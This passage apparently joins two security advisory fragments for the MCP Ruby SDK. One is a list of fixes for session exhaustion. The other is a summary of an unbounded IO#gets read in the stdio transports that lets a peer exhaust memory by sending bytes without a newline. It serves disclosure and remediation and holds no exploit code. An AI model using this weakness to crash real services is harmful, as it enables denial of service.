1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Summary

The stdio transports in MCP::Server::Transports::StdioTransport and MCP::Client::Stdio read newline-delimited JSON-RPC frames using IO#gets with no limit argument. CRuby's IO#gets with no limit reads from the current position until the next separator (\n) with no upper bound on the returned string length. A peer that streams bytes without ever emitting a newline causes gets to accumulate the entire stream in a single Ruby String until the process is killed by the operating-system OOM killer.

This is the same vulnerability class tracked in sibling MCP SDKs as GHSA-74gp-qhv5-v493 (Kotlin), GHSA-wqgc-pwpr-pq7r (TypeScript), GHSA-655q-2283-6jgj (Python), and others. It was identified during a cross-SDK audit; ruby-sdk had no prior report.